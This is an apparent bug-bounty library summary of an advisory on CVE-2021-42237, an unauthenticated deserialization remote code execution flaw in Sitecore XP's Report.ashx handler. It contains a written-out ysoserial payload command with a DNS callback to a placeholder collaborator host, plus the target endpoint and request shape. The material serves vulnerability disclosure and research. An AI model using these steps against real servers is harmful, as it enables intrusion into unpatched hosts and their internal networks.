# Advisory: Sitecore RCE via Insecure Deserialization - CVE-2021-42237

Unauthenticated .NET deserialization in Sitecore XP's Report.ashx handler lets attackers send a ysoserial NetDataContractSerializer payload to execute arbitrary OS commands.

- Payout: Research
- Severity: critical
- Program: Sitecore XP
- Credited: Assetnote
- Disclosed: 2024-01-31
- CVE: CVE-2021-42237
- Write-up quality: 7/10
- Original: https://www.assetnote.io/resources/research/advisory-sitecore-rce-via-insecure-deserialization-cve-2021-42237
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-advisory-sitecore-rce-via-insecure-deserialization-cve-2021-42237
- Tags: domain:web impact:internal-access impact:rce kind:research platform:research sev:critical tech:dotnet technique:oob-exfil vuln:deserialization vuln:rce

**Target:** Sitecore XP Report.ashx HTTP handler (/sitecore/shell/ClientBin/Reporting/Report.ashx)
**Root cause:** Report.ashx deserializes attacker-controlled XML into .NET types via NetDataContractSerializer without type restrictions, enabling gadget-chain deserialization.
**Steps:**
1. Generate payload: `./ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "nslookup <collab>" -o base64 -t`
2. Send `POST /sitecore/shell/ClientBin/Reporting/Report.ashx` with `Content-Type: text/xml` and the serialized `<a><query/><source>foo</source><parameters><parameter name="">...` XML body
3. Server deserializes the SortedSet/ComparisonComparer gadget chain, invoking `System.Diagnostics.Process.Start`
4. Observe command execution via DNS callback to Burp Collaborator
**Exploitation:** Unauthenticated attacker POSTs a crafted XML body to Report.ashx; the NetDataContractSerializer TypeConfuseDelegate gadget chain invokes Process.Start with `cmd /c <command>`, yielding arbitrary command execution on the Windows host.
**Escalation:** Sitecore hosts are typically domain-joined Windows machines, so RCE serves as an entry point into the internal network/domain.
**Insight:** Legacy .NET .ashx handlers under /sitecore/shell/ClientBin/ that accept text/xml and use NetDataContractSerializer are prime ysoserial targets; enumerate deprecated handlers and test TypeConfuseDelegate payloads even when the endpoint looks unused.